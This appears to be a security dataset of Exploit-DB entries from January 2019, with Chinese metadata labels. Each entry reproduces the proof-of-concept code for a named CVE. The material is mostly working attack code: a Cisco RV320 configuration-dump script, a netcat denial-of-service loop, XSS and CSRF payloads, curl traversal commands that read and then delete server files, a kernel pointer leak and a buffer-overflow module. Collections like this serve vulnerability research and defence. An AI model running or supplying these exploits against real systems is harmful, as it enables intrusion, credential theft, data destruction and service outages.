QLWD/code_shield huggingface dataset:
标题: Cisco RV300 / RV320 - Information Disclosure EDB-ID: 46262 CVE: 2019-1653 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title: 6coRV Exploit
# Date: 01-26-2018
# Exploit Author: Harom Ramos [Horus]
# Tested on: Cisco RV300/RV320
# CVE : CVE-2019-1653

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from fake_useragent import UserAgent

def random_headers():
    return dict({'user-agent': UserAgent().random})

def request(url):
    r = requests.Session()
    try:
        get =  r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False
        if get.status_code == 200:  
            return get.text    
    except requests.ConnectionError:
        return 'Error Conecting'
    except requests.Timeout:
     return 'Error Timeout'
    except KeyboardInterrupt:
        raise    
    except:
        return 0

print("")        
print("##################################################")
print("CISCO CVE-2019-1653 POC")
print("From H. with love")
print("")

url = raw_input("URL> EX:http://url:port/ ") 
url = url + "/cgi-bin/config.exp"
print(request(url)) URL: https://www.exploit-db.com/exploits/46262
标题: Sricam gSOAP 2.8 - Denial of Service EDB-ID: 46261 CVE: 2019-6973 类型: DOS 平台: HARDWARE 发布日期: 2019-01-28 漏洞利用脚本: #!/bin/bash

#######################################################################################
#
#     Exploit Title: Sricam gSOAP 2.8 - Denial of Service
#              Date: 25/01/2019           
#     Vendor Status: Informed (24/10/2018)
#            CVE ID: CVE-2019-6973
#    Exploit Author: Andrew Watson
#           Contact: https://keybase.io/bitfu
#  Software Version: Sricam gSOAP 2.8
#   Vendor Homepage: http://www.sricam.com/
#         Tested on: Sricam IP CCTV Camera running gSOAP 2.8 on TCP/5000
#       PoC Details: Sricam IP CCTV Camera's are vulnerable to denial of service,
#                    exploitable by sending multiple incomplete requests.
#        References: https://github.com/bitfu/sricam-gsoap2.8-dos-exploit
#
#        DISCLAIMER: This proof of concept is provided for educational purposes only!
#
#######################################################################################


if [ -z "$3" ]; then
 echo "#############################################################################"
 echo -e "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
 echo -e "\n[*] Usage: $0 <IP_Address> <Port> <#_DoS_Payloads>"
 echo "[*] Example: $0 127.0.0.1 5000 10"
 echo -e "\n[!] Each DoS payload sent adds another 20 seconds downtime.\n"
 exit 0
fi

time=$(expr $3 \* 20)
echo "[*] Sricam gSOAP 2.8 Denial of Service exploit by bitfu"
echo -e "\n[+] Sending $3 DoS payloads..."
echo "[+] Expected downtime: $time seconds"
for dos in $(seq 1 $3); do
netcat $1 $2 &
done
echo -e "\n[!] $dos DoS payloads sent to: $1:$2"
echo URL: https://www.exploit-db.com/exploits/46261
标题: LogonBox Limited / Hypersocket Nervepoint Access Manager - (Unauthenticated) Insecure Direct Object Reference EDB-ID: 46254 CVE: 2019-6716 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title: Access Manager Unauthenticated Insecure Direct Object Reference (IDOR)
# Google Dork: /runJob.html?jobId=<#>
# Date: 01/22/2019
# Exploit Author: 0v3rride
# Vendor Homepage: https://docs.logonbox.com/index.html
# Software Link: N/A
# Version: >= 1.2 <= 1.4-RG3
# Tested on: Linux/Apache Wicket
# CVE: 2019-6716

Summary of issue submitted to CVE MITRE:
An unauthenticated Insecure Direct Object Reference (IDOR) vulnerability in LogonBox Limited's (formerly Nervepoint Technologies) Access Manager web application allows a remote attacker to enumerate internal Active Directory usernames. It also allows for the possibility to enumerate Active Directory group names and altering of back-end server jobs (backup and synchronization jobs) depending on the configuration of the system. This is done via the manipulation of the jobId HTTP parameter in an HTTP GET request. This issue affects Access Manager versions >= 1.2 <= 1.4-RG3 and has been rectified in versions >= 1.4-RG4.

PoC examples:
https://host.example.org/runJob.html?jobId=<#>

E.g.
https://host.example.org/runJob.html?jobId=5


0v3rride URL: https://www.exploit-db.com/exploits/46254
标题: Cisco Firepower Management Center 6.2.2.2 / 6.2.3 - Cross-Site Scripting EDB-ID: 46263 CVE: 2019-1642 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title: Cisco Firepower Management Center Cross-Site Scripting (XSS) Vulnerability
# Google Dork: N/A
# Date: 23-01-2019
################################
# Exploit Author: Bhushan B. Patil
################################
# Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
# Affected Version: 6.2.2.2 & 6.2.3
# Cisco Bug ID: CSCvk30983
# CVE: CVE-2019-1642

1. Technical Description:
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of the affected software.
The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

2. Proof Of Concept:
Login to Cisco Firepower Management Center (FMC) and browse to Systems -> Configuration menu.
https://<ip address>/platinum/platformSettingEdit.cgi?type=TimeSetting

Append the following XSS payload >"><script>alert("XXS POC")</script>& in the URL

The URL will become and on submitting it you'll get an alert popup.
https://<ip address>/platinum/platformSettingEdit.cgi?type=>"><script>alert("XXS POC")</script>&

3. Solution:
Upgrade to version 6.3.0
For more information about fixed software releases, consult the Cisco bug ID CSCvk30983<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvk30983>

4. Reference:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss URL: https://www.exploit-db.com/exploits/46263
标题: Rundeck Community Edition < 3.0.13 - Persistent Cross-Site Scripting EDB-ID: 46251 CVE: 2019-6804 类型: WEBAPPS 平台: JAVA 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title:  Rundeck Community Edition before 3.0.13 Multiple Stored
XSS
# Vendor Homepage: https://www.rundeck.com/open-source
# Software Link: https://docs.rundeck.com/downloads.html
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: Java
# CVE: CVE-2019-6804

1. Description:
Cross-Site Scripting issues affecting multiple fields in the workflow
module under job edit form by injecting javascript code in the Arguments,
Invocation String, and File Extension field, the input from these fields
are rendered in the Execution Preview which is the sink of this
vulnerability.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6804

2. Proof of Concept:
Vulnerable Endpoints / Systems
http://{Rundeck_hostname}/project/{Jobname}/job/edit/{Job_ID}
Steps to Reproduce:
Login to Rundeck Server with valid credentials.
1. Navigate to any project in the instance.
2. Navigate to the jobs module
3. Select a job
4. From the right hand side drop down menu, select edit this job
5. Navigate to Workflow module
6. Scroll down to arguments field
7. Enter the following payload: <img/src="x"onerror=alert(19)
8. The same payload can be entered in the Advanced mode in the same module
in two other fields "Invokation String" and "File Extension"
9. Observe the payload getting executed in the "Execution Preview"

3. Solution:
The issue is now patched by the vendor in version 3.0.13
https://docs.rundeck.com/docs/history/version-3.0.13.html
https://github.com/rundeck/rundeck/issues/4406

-- 
Best Regards,
Ishaq Mohammed
https://about.me/security-prince URL: https://www.exploit-db.com/exploits/46251
标题: AirTies Air5341 Modem 1.0.0.12 - Cross-Site Request Forgery EDB-ID: 46253 CVE: 2019-6967 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title: AirTies Air5341 1.0.0.12 Modem CSRF Exploit & PoC
# Version: AirTies Modem Firmware 1.0.0.12
# Tested on: Windows 10 x64
# CVE : CVE-2019-6967
# Author : Ali Can Gönüllü

<html>
<form method="POST" name="formlogin" action="
http://192.168.2.1/cgi-bin/login" target="_top" id="uiPostForm">
       <input type="hidden" id="redirect" name="redirect">
       <input type="hidden" id="self" name="self">
       <input name="user" type="text" id="uiPostGetPage" value="admin"
size="">
       <input name="password" type="password" id="uiPostPassword" size="">
<input onclick="uiDologin();" name="gonder" type="submit"
class="buton_text" id="__ML_ok" value="TAMAM"
style="background-image:url(images/buton_bg2.gif); height:21px;
width:110px; border: 0pt  none">
      </form>
      </html> URL: https://www.exploit-db.com/exploits/46253
标题: SirsiDynix e-Library 3.5.x - Cross-Site Scripting EDB-ID: 46237 CVE: 2018-20503 类型: WEBAPPS 平台: CGI 发布日期: 2019-01-24 漏洞利用脚本: # Exploit Title: SirsiDynix e-Library <= 3.5.x - Cross-Site Scripting
# CVE: CVE-2018-20503
# Date: 2019-24-01
# Google Dork: inurl:/x/x/0/49
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://www.sirsidynix.com
# Version: 3.5.x
# Category: Webapps
# Tested on: Firefox/52 and Chrome/69
# Software Description : As SirsiDynix Symphony’s core discovery portal,
e-Library gives
# Symphony users the basic tools they need to find the resources they seek.
# e-Library offers users speedy and relevant search results as well as a
user-friendly interface to make discovery simple
# Description : Exploiting these issues could allow an attacker to steal
cookie-based authentication credentials,
# compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
# SirsiDynix e-Library 3.5.x is vulnerable; prior versions may also be
affected.
# ==================================================================

# PoC:

# POST Request (sort_by):

POST /uhtbin/cgisirsi/?ps=0Sk8zSpD0f/MAIN/33660028/123 HTTP/1.1
Host: target
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://target/uhtbin/cgisirsi/?ps=mmRoXTc0L3/MAIN/33660028/38/1/X/BLASTOFF
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

searchdata1=test&srchfield1=AU%5EAUTHOR%5EAUTHORS%5EAuthor+Processing%5EYazar&library=VLK&srch_history=--%C3%96nceki+soruyu+se%C3%A7--&sort_by=ANYhadvi%22%3e%3cscript%3ealert(1)%3c%2fscript%3eox0ix

================================================================== URL: https://www.exploit-db.com/exploits/46237
标题: WordPress Plugin Wisechat 2.6.3 - Reverse Tabnabbing EDB-ID: 46247 CVE: 2019-6780 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-25 漏洞利用脚本: # Exploit Title: Wordpress Plugin Wisechat <= 2.6.3 - Reverse Tabnabbing
# Date: 01-22-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://kaine.pl/
# Softwae Link: https://wordpress.org/plugins/wise-chat/
# Version: Up to V2.6.3
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : 2019-6780.


# Plugin description:
Wise Chat is a leading chat plugin that helps to build a social network and to increase user engagement on your website by providing the possibility to exchange real time messages in chat rooms. The plugin is easily installable and extremely configurable. Its features list is growing all the time.

# POC
Send following URL on wise chat "http://mtk911.cf/OR/" which has the following html

<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://mtk911.cf/');
if (window.parent != window) window.parent.location.replace('http://mtk911.cf/');
</script>
Open Redirect TEST
</html>

when you click on that user. This opens in a new tab, and the parent tab is silently redirected to my website without asking the user.

#Technical Details & Impact:
In a real life example, this would redirect to a phishing site to try gain credentials for users.

# References:
https://wordpress.org/plugins/wise-chat/#developers
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk/src/rendering/filters/post/WiseChatLinksPostFilter.php
https://plugins.trac.wordpress.org/changeset/2016929/wise-chat/trunk#file6
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6780 URL: https://www.exploit-db.com/exploits/46247
标题: Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery EDB-ID: 46240 CVE: 2019-6710 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-24 漏洞利用脚本: <!--
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
# Tested on: Windows 10 x64
# CVE : CVE-2019-6710
# Author : Ali Can Gönüllü
# Twitter : @alicangonullu

Exploits :
-->

<html><head>
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
</head><body>
<form action="http://10.0.0.1/login.cgi" method="POST">
<input type="text" name="username" id="username" value="admin" /><br />
<input type="text" name="password" id="password" value="1234" /><br />
<input id="loginBtn" onclick="return onlogin()" type='submit' 
value='Go!' />
<input type="hidden" name="submit.htm?login.htm" value="Send">
</form>
</body></html> URL: https://www.exploit-db.com/exploits/46240
标题: Lua 5.3.5 - 'debug.upvaluejoin' Use After Free EDB-ID: 46246 CVE: 2019-6706 类型: DOS 平台: MULTIPLE 发布日期: 2019-01-25 漏洞利用脚本: # Exploit Title: Lua 5.3.5
# Exploit Author: Fady Mohamed Osman (https://twitter.com/fady_othman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Blog : https://blog.fadyothman.com/
# Date: Jan. 10th 2019
# Vendor Homepage: https://www.lua.org/
# Software Link: https://www.lua.org/ftp/lua-5.3.5.tar.gz
# Version: 5.3.5
# CVE ID: CVE-2019-6706

During a fuzz session using "AFL", I found a heap use after free in lua
5.3.5, after analysis of the crash I found the root cause of the
vulnerability, here's the details.

The function `lua_upvaluejoin` in file lapi.c at line 1287 suffers from a
use after free bug when supplied the same function for parameter f1 and f2
and the same upvalue index, additionally I found that the bug is only
triggered when the upvalue is closed, this happens because the
`luaC_upvdeccount` function found in file lgc.c at line 678 will decrement
the refcount and then free the upvalue if the refcount is zero and if the
upvalue is closed.
See the comments below for more explanation.
--------------
LUA_API void lua_upvaluejoin (lua_State *L, int fidx1, int n1,
                                            int fidx2, int n2) {
  LClosure *f1;
  UpVal **up1 = getupvalref(L, fidx1, n1, &f1);
  UpVal **up2 = getupvalref(L, fidx2, n2, NULL);
  luaC_upvdeccount(L, *up1);      //Will delete up1
  *up1 = *up2;     //up1 is up2 because it's the same upvalue and now it's
freed.
  (*up1)->refcount++;   //up1 is freed, yet it's used here.
  if (upisopen(*up1)) (*up1)->u.open.touched = 1;
  luaC_upvalbarrier(L, *up1);
}
--------------

- To trigger the bug simply use a lua program like this (this one will
crash):
--
f=load(function() end)
interesting={}
interesting[0]=string.rep("A",512)
debug.upvaluejoin(f,1,f,1)
---

- Another program that will not crash (unless you compile with
-fsanitize=address):
---
function w()
local x = {}
f = function() print(x) end
end
w()
debug.upvaluejoin(f,2,f,2)
---

If you want a fix you can use the patch provided here:
http://lua.2524044.n2.nabble.com/CVE-2019-6706-use-after-free-in-lua-upvaluejoin-function-tc7685575.html


Timeline:
- Jan 10th 2019 : Vulnerability discovered and reported to lua mailing list.
- Jan 23rd 2019 : CVE Identifier obtained.
- Jan 25th 2019 : Fix is suggested by Matěj Cepl.

Refrences:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6706
https://security-tracker.debian.org/tracker/CVE-2019-6706
https://vuldb.com/?id.130228 URL: https://www.exploit-db.com/exploits/46246
标题: Pydio / AjaXplorer < 5.0.4 - (Unauthenticated) Arbitrary File Upload EDB-ID: 46206 CVE: 2013-6227 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-18 漏洞利用脚本: # Exploit Title: Unauthenticated Arbitrary File Upload Vulnerability In Pydio/AjaXplorer 5.0.3 – 3.3.5
# Date: 01/18/2019
# Exploit Author: @_jazz______
# Vendor Homepage: https://pydio.com/
# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/ajaxplorer-core-4.2.3.tar.gz/download
# Version: ajaXplorer before 5.0.4
# Tested on: ajaXplorer 4.2.3 on Debian 9 update 5
# References: https://web.archive.org/web/20140430075145/http://www.redfsec.com/CVE-2013-6227
# CVE: CVE-2013-6227
###########################################################################################
Affected file:
/plugins/editor.zoho/agent/save_zoho.php

<?php
  
  $vars = array_merge($_GET, $_POST);
  
  if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){
    $filezoho = $_FILES['content']["tmp_name"];
    $cleanId = str_replace(array("..", "/"), "", $vars["id"]);
    move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);
 }else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){
    if(file_exists("files/".$vars["name"])){
      readfile("files/".$vars["name"]);
      unlink("files/".$vars["name"]);
    }
  }
  
?>

Option 1: If "ajxp_action" is not set, upload "content" file to files/id.format. 
The code does not sanitize "format" parameter before passing it as an argument to "move_uploaded_file",
thus introducing an opportunity to upload files to any arbitrary location via directory traversal 
Note: User should have permission to write on the desired location.

Option 2: If "ajxp_action" is set to "get_file", read the file from "files/name" and then ERASE IT (unlink). 
Again, the code does not sanitize the "name" parameter, making it also vulnerable to directory traversal.

"files" directory's location is by default /plugins/editor.zoho/agent/files
A default location for reading/uploading files is /data/files/
###########################################################################################

[1] [CAUTION!] Read arbitrary files 
curl "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=<file_relative_path>"

e.g. curl "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../etc/passwd"

[USE WITH CAUTION] This is a destructive function. Files retrieved WILL be erased after reading, provided that the file is writable by the user which the web server's process is running as.

[2] Arbitrary File Upload
*step 1 - Upload the file to the server* 
# curl -F 'content=@<filename_from_attacker_host>;type=<filetype>;filename=\"<filename>\"' "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?id=&format=<upload_to_file_relative_path>"

e.g. # curl -F 'content=@test.html;type=text/html;filename=\"test.html\"' "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?id=&format=./../../../data/files/test.html" URL: https://www.exploit-db.com/exploits/46206
标题: Linux Kernel 4.13 - 'compat_get_timex()' Leak Kernel Pointer EDB-ID: 46208 CVE: 2018-11508 类型: DOS 平台: LINUX 发布日期: 2019-01-21 漏洞利用脚本: #define _GNU_SOURCE
#define _BSD_SOURCE
#include <sys/timex.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <kptr-lib.h>

// Ubuntu 4.13.0-16-generic
// gcc -o poc poc.c -m32

struct timex time;

int main(int argc, char **argv)
{
 int r;
 unsigned long long stack_offset, kernel_base;
 unsigned int leak_value;
 unsigned int high = 0xffffffff;
 
 memset(&time, 0, sizeof(time));
 time.modes = 0x8000;

 mmap(0,0xa000,3,2022,-1,0);

 adjtimex(&time);    
 leak_value = time.tai;
 printf("--> leak_value : %x\n", leak_value);
 
 memcpy(&kernel_base, &leak_value, 4);
 memcpy((char *)&kernel_base + 4, &high, 4);
 stack_offset = 0x1fc4a4;
 kernel_base = leak_value - stack_offset;
 printf("--> kernel_stack_base : %llx\n", kernel_base);

  return 0;
} URL: https://www.exploit-db.com/exploits/46208
标题: GattLib 0.2 - Stack Buffer Overflow EDB-ID: 46215 CVE: 2019-6498 类型: REMOTE 平台: LINUX 发布日期: 2019-01-21 漏洞利用脚本: Exploit Title: stack-based overflow
# Date: 2019-11-21
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://labapart.com/
# Software Link: https://github.com/labapart/gattlib/issues/81
# Version: 0.2
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-6498
# References:
# https://github.com/labapart/gattlib/issues/81
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6498

## Summary:
While fuzzing gattlib (Gattlib is a library to access GATT information from
BLE (Bluetooth Low Energy) devices) using clang 6.0 with ASAN a stack-based
buffer-overflow was observed.

## Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}

## Vulnerable code from discover.c
if (argc != 2) {
printf("%s <device_address>\n", argv[0]);
return 1;
}

connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW,
0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}

## PoC

./discover `python -c 'print "A"*20'`

## MSF code

def exploit
    connect

    print_status("Sending #{payload.encoded.length} byte payload...")

    # Building the buffer for transmission
    buf = "A" * 20
    buf += [ target.ret ].pack('V')
    buf += payload.encoded

    sock.put(buf)
    sock.get

    handler
end URL: https://www.exploit-db.com/exploits/46215
标题: Microsoft Edge Chakra - 'InitClass' Type Confusion EDB-ID: 46204 CVE: 2019-0539 类型: DOS 平台: WINDOWS 发布日期: 2019-01-18 漏洞利用脚本: /*

Issue description

This is similar to  issue 1702 (https://www.exploit-db.com/exploits/46203) . This time, it uses an InitClass instruction to reach the SetIsPrototype method.

PoC:
*/

function opt(o, c, value) {
    o.b = 1;

    class A extends c {

    }

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, 0x1234);

    print(o.a);
}

main(); URL: https://www.exploit-db.com/exploits/46204